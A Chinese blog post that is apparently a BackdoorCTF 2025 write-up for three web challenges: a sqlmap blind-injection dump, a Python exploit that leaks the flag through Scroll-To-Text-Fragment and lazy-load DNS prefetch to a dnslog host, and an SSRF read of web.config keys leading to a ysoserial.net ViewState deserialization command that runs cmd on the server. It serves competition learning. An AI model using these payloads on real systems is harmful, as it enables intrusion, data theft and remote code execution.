炒米线

GitHub

公告

我 Chao！我好困啊！

标签

炒米线

GitHub

公告

我 Chao！我好困啊！

标签

炒米线

GitHub

公告

我 Chao！我好困啊！

标签

站点统计

文章

36

分类

7

标签

44

总字数

30,673

运行天数

0 天

最后活动

0 天前

510 字

1 分钟

BackdoorCTF-2025

2025-12-08

CTF

/

BackdoorCTF

[Web] No Sight Required#

sql盲注，输入114514' or 1=1 -- 提示存在，确认为注入点

1
sqlmap -u "http://104.198.24.52:6013/search?id=4" --random-agent --dbms=sqlite -T secret_flags --dump --threads=5

sqlmap

[Web] Go Touch Grass#

这题考查STTF(Scroll To Text Fragment)，配合DNS外带。STTF介绍

简单来说，当url最后携带#:~:text=时，浏览器会自动滚动到含有对应文字的锚点，博客的目录常使用这个特性。同时，本题还涉及lazyload的DNS预解析问题。只有当显示到的时候，会触发dns预解析，将数据外带出去。结合代码来看，bot会开启一个顶部写有flag的浏览器，同时接受base64解码后的note显示在后面。

我们写有两个锚定文本，这时候对第一个SSTF锚点进行按位爆破，第二个写固定的文本（这个会附加到note尾部，如果flag没有匹配到，就会滚动到末尾）。note填充了大量的换行符。如果flag部分正确，页面就会锚定在顶部，不会滚动到最下面的lazyload部分，也就没有dnslog。但如果不正确，就会滚动到第二个锚点，也就是底部，从而触发lazyload的DNS预解析。

1
prefix_part = urllib.parse.quote(known_flag + char_to_test)
2
sttf_hash = f"#:~:text={prefix_part}&text={footer_text}"

看这个就很清楚了，原理上很像SQL盲注。上ai写的exp。DNSLog.cn每隔一段时间会自动清空记录，而且网络实际上也不是很稳定，所以至少二次确认才能保证猜测正确。

1
import requests
2
import urllib.parse
3
import time
4
import sys
5
import base64
6
import random
7

8
# ================= 配置区域 =================
9
# 1. 题目地址
10
BASE_URL = "http://34.10.220.48:6005"
11
BOT_URL = f"{BASE_URL}/bot"
12

13
# 2. DNSLog 配置
14
YOUR_DNS_DOMAIN = "test.bwuzoi.dnslog.cn"
15
# PHPSESSID
16
DNSLOG_COOKIE = {"PHPSESSID": "j559joadg0rbbf8jo6hqchtrt3"}
17

18
# 3. 爆破配置
19
known_flag = "flag" # 注意没有花括号
20
charset = "0123456789abcdefghijklmnopqrstuvwxyz"
21

22
# 重试配置
23
MAX_RETRIES = 2
24
# ===========================================
25

26
def get_dns_records():
27
    """从 dnslog.cn 获取当前所有记录"""
28
    try:
29
        url = f"http://dnslog.cn/getrecords.php?t={random.random()}"
30
        r = requests.get(url, cookies=DNSLOG_COOKIE, timeout=10)
31
        return r.json()
32
    except Exception as e:
33
        print(f"\n[!] 获取 DNSLog 失败: {e}")
34
        return []
35

36
def generate_payload(char_to_test, unique_id):
37
    """生成攻击 Payload"""
38
    char_hex = char_to_test.encode().hex()
39

40
    # 构造唯一子域名
41
    inner_dns_url = f"//{char_hex}-{unique_id}.{YOUR_DNS_DOMAIN}"
42

43
    # 内部 Link (DNS 触发器)
44
    link_html = f'<link rel="dns-prefetch" href="{inner_dns_url}">'
45
    link_html_enc = urllib.parse.quote(link_html)
46

47
    # 外部 HTML (撑开高度)
48
    padding = "<pre>" + "\n"*3000 + "</pre>"
49
    footer_text = "MY_FOOTER"
50

51
    # 懒加载 iframe
52
    iframe = f'<iframe loading="lazy" src="/?note={link_html_enc}" width="10" height="10"></iframe>'
53

54
    raw_html = f"{padding}<div id='footer'>{footer_text}</div>{iframe}"
55

56
    # URL 编码防止换行符截断
57
    safe_html_for_url = urllib.parse.quote(raw_html)
58

59
    # STTF 锚点
60
    # sttf_hash = f"#:~:text={known_flag}{char_to_test}&text={footer_text}"
61

62
    prefix_part = urllib.parse.quote(known_flag + char_to_test)
63
    sttf_hash = f"#:~:text={prefix_part}&text={footer_text}"
64

65
    final_data = safe_html_for_url + sttf_hash
66
    b64_payload = base64.b64encode(final_data.encode()).decode()
67

68
    return b64_payload, f"{char_hex}-{unique_id}"
69

70
def test_character_once(char, attempt_label=""):
71
    """
72
    执行一次单次测试
73
    返回: True (收到DNS，说明猜错), False (没收到DNS，可能是Flag)
74
    """
75
    unique_id = str(int(time.time()))[-5:] + str(random.randint(10,99))
76
    payload, target_id = generate_payload(char, unique_id)
77

78
    print(f"[*] 测试 '{char}' {attempt_label} (ID: {target_id})... ", end="")
79
    sys.stdout.flush()
80

81
    try:
82
        # 1. 发送
83
        requests.get(BOT_URL, params={"note": payload}, timeout=5)
84

85
        # 2. 等待 (11秒 Rate Limit)
86
        for i in range(11, 0, -1):
87
            # 简单的倒计时动画，不换行
88
            print(f"等待 {i}s...   ", end="\r")
89
            time.sleep(1)
90

91
        # 3. 检查
92
        records = get_dns_records()
93

94
        received = False
95
        for rec in records:
96
            if target_id in rec[0]:
97
                received = True
98
                break
99

100
        if received:
101
            print(f"❌ 收到 DNS (排除)            ")
102
            return True # 收到=错误
103
        else:
104
            print(f"⚠️  未收到 DNS (疑似正确)       ")
105
            return False # 没收到=疑似正确
106

107
    except Exception as e:
108
        print(f"Error: {e}")
109
        # 如果报错，为了安全起见，假设它没收到（让外层去重试）
110
        return False
111

112
def attack():
113
    global known_flag
114
    print(f"[+] 目标: {known_flag}...")
115

116
    while True:
117
        print(f"\n[--- 正在爆破下一位，当前: {known_flag} ---]")
118
        found_char = False
119

120
        for char in charset:
121
            # === 第一轮测试 ===
122
            is_wrong = test_character_once(char)
123

124
            if is_wrong:
125
                # 确定猜错了，直接下一个
126
                continue
127

128
            is_confirmed_flag = True
129
            for i in range(MAX_RETRIES):
130
                print(f"    [!] 正在进行第 {i+1}/{MAX_RETRIES} 次复核验证...")
131

132
                # 再次测试
133
                is_wrong_again = test_character_once(char, f"[复核{i+1}]")
134

135
                if is_wrong_again:
136
                    print(f"    [X] 验证失败：复核时收到了 DNS，排除 '{char}'。")
137
                    is_confirmed_flag = False
138
                    break # 跳出复核循环，继续测下一个字符
139

140
            if is_confirmed_flag:
141
                # 通过了所有复核，都没收到 DNS
142
                print(f"\n✅ 确认字符: {char}")
143
                known_flag += char
144
                found_char = True
145
                break # 跳出字符循环，开始爆破下一位
146

147
        if not found_char:
148
            print("[!] 本轮所有字符都收到了 DNS，或者验证全部失败。")
149
            break
150

151
        if known_flag.endswith("}"):
152
            print(f"\nFlag: {known_flag}")
153
            break
154

155
if __name__ == "__main__":
156
    attack()

收到了flag5n34kydn5f3tch，看源码去除了花括号，补上后即为正确flag: flag{5n34kydn5f3tch}

这里放一下原题: main.py

1
from flask import Flask, request, make_response, render_template_string
2
import os, base64, sys, threading, time, jsonify, nh3
3
from selenium import webdriver
4
from selenium.webdriver.chrome.options import Options
5
from flask_limiter import Limiter
6
from flask_limiter.util import get_remote_address
7

8

9
app = Flask(__name__)
10

11
PORT = 6005
12

13
flag = open('flag.txt').read().strip()
14
# flag charset is string.ascii_lowercase + string.digits
15

16
ALLOWED_TAGS = {
17
    'a', 'b', 'blockquote', 'br', 'code', 'div', 'em',
18
    'h1', 'h2', 'h3', 'i', 'iframe', 'img', 'li', 'link',
19
    'ol', 'p', 'pre', 'span', 'strong', 'ul'
20
}
21
ALLOWED_ATTRIBUTES = {
22
    'a': {'href', 'target'},
23
    'link': {'rel', 'href', 'type', 'as'},
24
    '*': {
25

26
        'style','src', 'width', 'height', 'alt', 'title',
27
        'lang', 'dir', 'loading', 'role', 'aria-label'
28
    }
29
}
30

31
APP_LIMIT_TIME = 60
32
APP_LIMIT_COUNT = 5
33

34

35
limiter = Limiter(
36
    get_remote_address,
37
    app=app,
38
    storage_uri="memory://"
39
)
40

41
@app.errorhandler(429)
42
def ratelimit_handler(e):
43
    return jsonify({
44
        "error": f"Too many requests, please try again later. Limit is {APP_LIMIT_COUNT} requests per {APP_LIMIT_TIME} seconds."
45
    }), 429
46

47
template = """<!DOCTYPE html>
48
<html>
49
<head>
50

51
</head>
52
<body>
53
    <div class="head"></div>
54
    {% if flag %}
55
        <div class="flag"><h1>{{ flag }}</h1></div>
56
    {% endif %}
57
    {% if note %}
58
        <div class="note">{{ note | safe}}</div>
59
    {% endif %}
60
    <script nonce="{{ nonce }}">
61
        Array.from(document.getElementsByClassName('flag')).forEach(function(element) {
62
            let text = element.innerText;
63
            element.innerHTML = '';
64
            for (let i = 0; i < text.length; i++) {
65
                let charElem = document.createElement('span');
66
                charElem.innerText = text[i];
67
                element.appendChild(charElem);
68
            }
69
        });
70
    </script>
71
</body>
72
</html>
73
"""
74

75

76

77
@app.route('/', methods=['GET'])
78
def index():
79

80
    _flag = request.cookies.get('flag', None)
81
    nonce = base64.b64encode(os.urandom(32)).decode('utf-8')
82
    _note = request.args.get('note', 'Try putting your note with /?note=..')
83
    clean_note = nh3.clean(
84
        _note,
85
        tags=ALLOWED_TAGS,
86
        attributes=ALLOWED_ATTRIBUTES,
87
    )
88

89
    rendered = render_template_string(
90
        template,
91
        nonce=nonce,
92
        flag=_flag,
93
        note=clean_note,
94
    )
95

96
    response = make_response(rendered)
97

98
    response.headers['Content-Security-Policy'] = (
99
        f"default-src 'none'; script-src 'nonce-{nonce}'; style-src 'none'; "
100
        "base-uri 'none'; frame-ancestors 'self'; frame-src 'self'; object-src 'none'; "
101
    )
102
    response.headers['Referrer-Policy'] = 'no-referrer'
103
    response.headers['X-Frame-Options'] = 'SAMEORIGIN'
104
    response.headers['X-Content-Type-Options'] = 'nosniff'
105

106
    return response
107

108
def admin_visit(raw_data_b64: str):
109
    try:
110

111
        try:
112
            data = base64.b64decode(raw_data_b64.encode('utf-8')).decode('utf-8')
113
        except Exception as e:
114
            print(f"[BOT] base64 decode error: {e}", file=sys.stderr)
115
            return
116

117
        url = f"http://127.0.0.1:6005/?note={data}"
118
        print(f"[BOT] Visiting {url}", file=sys.stderr)
119

120
        options = Options()
121
        options.add_argument("--headless")
122
        options.add_argument("--no-sandbox")
123
        options.add_argument("--disable-dev-shm-usage")
124
        options.add_argument("--disable-gpu")
125

126
        driver = webdriver.Chrome(options=options)
127

128
        try:
129

130
            driver.get("http://127.0.0.1:6005/")
131
            driver.add_cookie({
132
                'name': 'flag',
133
                'value': flag.replace("{", "").replace("}", ""),
134
                'path': '/',
135
                'httpOnly': True,
136
                'sameSite': 'Strict'
137
            })
138

139
            print(f"[BOT] Now visiting target URL {url}", file=sys.stderr)
140

141

142
            driver.set_page_load_timeout(5)
143
            try:
144
                driver.get(url)
145
            except Exception as e:
146
                print(f"[BOT] error during driver.get: {e}", file=sys.stderr)
147
            time.sleep(5)
148
        finally:
149
            driver.quit()
150
            print(f"[BOT] Done visiting URL {url}", file=sys.stderr)
151

152
    except Exception as e:
153
        print(f"[BOT] Unexpected bot error: {e}", file=sys.stderr)
154

155

156
@app.route('/bot', methods=['GET'])
157
@limiter.limit(f"{APP_LIMIT_COUNT} per {APP_LIMIT_TIME} second")
158
def bot():
159
    raw_data = request.args.get('note')
160
    if not raw_data:
161
        return make_response("Missing ?note parameter\n", 400)
162

163
    t = threading.Thread(target=admin_visit, args=(raw_data,))
164
    t.daemon = True
165
    t.start()
166

167
    return make_response("Admin will visit this URL soon.\n", 202)
168

169

170
if __name__ == '__main__':
171
    app.run(port=PORT, debug=False, host='0.0.0.0')

[Web] .net painwork#

访问http://4.188.81.42/%2f/admin.aspx可以绕过登陆，并且拿到凭据用于SSRF。

考虑__VIEWSTATE的反序列化，先要读取web.config，输入file:///c:/inetpub/wwwroot/web.config点击查询，获得validation validationKey

1
{
2
  "ok": true,
3
  "statusCode": 200,
4
  "headers": [
5
    {
6
      "name": "Content-Length",
7
      "value": "1833"
8
    },
9
    {
10
      "name": "Content-Type",
11
      "value": "application/octet-stream"
12
    }
13
  ],
14
  "snippet": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<configuration>\r\n  <appSettings></appSettings>\r\n  <system.web>\r\n    <compilation targetFramework=\"4.8\" />\r\n    <authentication mode=\"Forms\">\r\n      <forms loginUrl=\"~/login.aspx\" timeout=\"30\" />\r\n    </authentication>\r\n    <machineKey validation=\"SHA1\" decryption=\"AES\" validationKey=\"AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B\" decryptionKey=\"AB4298433692C6911B75665DEFA47AD09EA856BE41879334\" />\r\n    <httpRuntime targetFramework=\"4.5\" />\r\n  </system.web>\r\n  <system.webServer>\r\n    <modules runAllManagedModulesForAllRequests=\"true\" />\r\n    <handlers>\r\n      <add name=\"HealthHandler\" path=\"health.ashx\" verb=\"*\" type=\"Health.Handlers.HealthHandler\" resourceType=\"Unspecified\" />\r\n    </handlers>\r\n  </system.webServer>\r\n  <runtime>\r\n    <assemblyBinding xmlns=\"urn:schemas-microsoft-com:asm.v1\">\r\n      <dependentAssembly>\r\n        <assemblyIdentity name=\"WebGrease\" publicKeyToken=\"31bf3856ad364e35\" culture=\"neutral\" />\r\n        <bindingRedirect oldVersion=\"0.0.0.0-1.6.5135.21930\" newVersion=\"1.6.5135.21930\" />\r\n      </dependentAssembly>\r\n      <dependentAssembly>\r\n        <assemblyIdentity name=\"Antlr3.Runtime\" publicKeyToken=\"eb42632606e9261f\" culture=\"neutral\" />\r\n        <bindingRedirect oldVersion=\"0.0.0.0-3.5.0.2\" newVersion=\"3.5.0.2\" />\r\n      </dependentAssembly>\r\n      <dependentAssembly>\r\n        <assemblyIdentity name=\"Newtonsoft.Json\" publicKeyToken=\"30ad4fe6b2a6aeed\" culture=\"neutral\" />\r\n        <bindingRedirect oldVersion=\"0.0.0.0-13.0.0.0\" newVersion=\"13.0.0.0\" />\r\n      </dependentAssembly>\r\n    </assemblyBinding>\r\n  </runtime>\r\n  <location path=\"health.ashx\">\r\n    <system.web>\r\n      <authorization>\r\n        <allow users=\"*\" /> </authorization>\r\n    </system.web>\r\n  </location>\r\n</configuration>\r\n<!--ProjectGuid: 8371CAB5-57D6-4087-BC6A-7E3514CE52C2-->",
15
  "error": null
16
}

访问/login.aspx,获得generator，这里是C2EE9ABB

用ysoserial.net构造反序列化。这里最好用C:\Windows\Temp\，不然没有权限写。

1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami > C:\Windows\Temp\test.txt" --generator="C2EE9ABB" --validationKey="AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B" --alg="SHA1"

回到/login.aspx，篡改__VIEWSTATE

1
LoginBtn=Login
2
&PasswordBox=admin
3
&__EVENTVALIDATION=GjcT45wL8O4LBYanAbQwP0hxOJT3HhIJy0gE36JI0o%2BS6QqLm0TDglBjAZzQlFM1zusz8ZR%2BbyLqmqbz7B9qrnEauB1RfhYer%2FB4zRofB%2BBL6Y4MvHfDnE1ubACd1nQhrFyYYg%3D%3D
4
&__VIEWSTATE=%2FwEyuAcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADaBTw%2FeG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI%2FPg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI%2BDQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2BDQogICAgPHNkOlByb2Nlc3M%2BDQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8%2BDQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY21kIC9jIHdob2FtaSAmZ3Q7IEM6XFdpbmRvd3NcVGVtcFx0ZXN0LnR4dCIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8%2BDQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2BDQo8L09iamVjdERhdGFQcm92aWRlcj4LJo2dYwVgcDzbUc55S%2ByU37T59c9YtlC3yi24zgTOZLQ%3D
5
&__VIEWSTATEGENERATOR=C2EE9ABB

提示Server Error in '/' Application.，再次SSRF读取file:///C:/Windows/Temp/test.txt

1
{
2
  "ok": true,
3
  "statusCode": 200,
4
  "headers": [
5
    {
6
      "name": "Content-Length",
7
      "value": "50"
8
    },
9
    {
10
      "name": "Content-Type",
11
      "value": "application/octet-stream"
12
    }
13
  ],
14
  "snippet": "flag{tlqp8s5h_eurzla5g_feepuqi9_qsgmjxj5_mcmd2kt8}",
15
  "error": null
16
}